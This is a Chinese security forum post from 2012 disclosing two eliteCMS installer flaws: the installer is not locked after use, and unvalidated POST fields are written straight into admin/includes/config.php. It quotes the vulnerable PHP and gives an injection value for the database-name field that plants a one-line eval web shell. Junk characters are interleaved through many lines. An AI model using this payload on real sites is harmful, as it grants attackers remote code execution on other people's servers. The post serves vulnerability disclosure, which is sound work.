找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2305|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装  |  c1 A  Y3 j$ N7 o
3 r. ]1 p1 z" m6 X6 J# q. Q
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
' O. p3 T% w1 c& H# z. P9 F我们来看代码:
$ z7 |! V: M+ @: ~
" x2 @* l3 W1 M" L+ g7 P# j...6 z% C; T8 K6 G9 {* j8 U
elseif ($_GET['step'] == "4") {+ ]  M7 q5 u9 e" h4 S
    $file = "../admin/includes/config.php";
  i3 ^* L% T) t7 B7 O    $write = "<?php\n";3 B! j: ^+ f, R  t* n+ D
    $write .= "/**\n";
: j* H2 l4 u! l' Q! k8 ]    $write .= "*\n";
5 j' n# \- ~8 r7 u/ G    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";- F8 B- [: C( k/ f
...略...
6 T' E7 d2 x# k3 H! l  h9 A1 t    $write .= "*\n";7 S( Y7 O) P4 Q7 ?& n
    $write .= "*/\n";
6 S$ U' i0 [0 A+ q; U% N0 `" t- p    $write .= "\n";+ k& d% n% L$ }/ t5 x0 u: q% ]
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
+ W. m; o2 d9 n- e    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
! q7 h3 T# y; T: L    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";5 N2 C2 p" ~; d4 a' x+ y7 q
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
3 g$ `& W# \+ R" t' `    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
$ `. X' T7 E0 d+ h& `6 [    $write .= "if (!\$connection) {\n";
( l: e. F/ h  O+ A    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
3 Q8 h* R& Z/ v/ `( S    $write .= "        \n";& h. i9 A& F- Z2 Q/ K2 p8 O
    $write .= "} \n";7 g( D. ~8 X% _  B7 ]
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
0 W# F+ T7 K8 ?, x/ w4 a  G    $write .= "if (!\$db_select) {\n";
2 R8 g8 p  F( {    $write .= "        die(\"Database select failed\" .mysql_error());\n";* t2 c9 \* c. H. R  I
    $write .= "        \n";! J9 P' R6 N$ J
    $write .= "} \n";' V, W" `! L- ~8 d* d+ y5 l
    $write .= "?>\n";
; ^# Y7 q9 C# G# a/ }: T
! c8 X4 b0 J' l! g    $writer = fopen($file, 'w');
% P( s1 \, t; P; g& z- ^3 }...
" v* t$ `0 w2 L  s/ y3 U' |4 y" o
+ K! i$ V5 C0 i) F9 @8 ^, D在看代码:( x8 f& p3 V! W/ e" ]

) F4 v2 ~- Y5 d. _. r% ]& ~" r$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
: k) D! V! R  I1 J; C0 h$_SESSION['DB_NAME'] = $_POST['DB_NAME'];. z9 t; K0 [/ Q/ J) N% _
$_SESSION['DB_USER'] = $_POST['DB_USER'];
' j" K2 X4 Y9 {! q: t  i% M0 D$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
( M, n1 ~2 b7 O$ M- u- Q, r 8 Q5 z) z4 R/ E8 X+ `  l4 @
取值未作任何验证3 x' }. Y( A1 P2 O# P1 k
如果将数据库名POST数据:
: N+ A9 R) P/ U8 t$ ^( u " Z* @4 T4 `2 N1 P7 L; g* f
"?><?php eval($_POST[c]);?><?php
( j' [* O- y' P9 C. G$ o " }8 ?* z  X* \: E
将导致一句话后门写入/admin/includes/config.php: ]+ ~& b- I) m, y( A/ c# X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表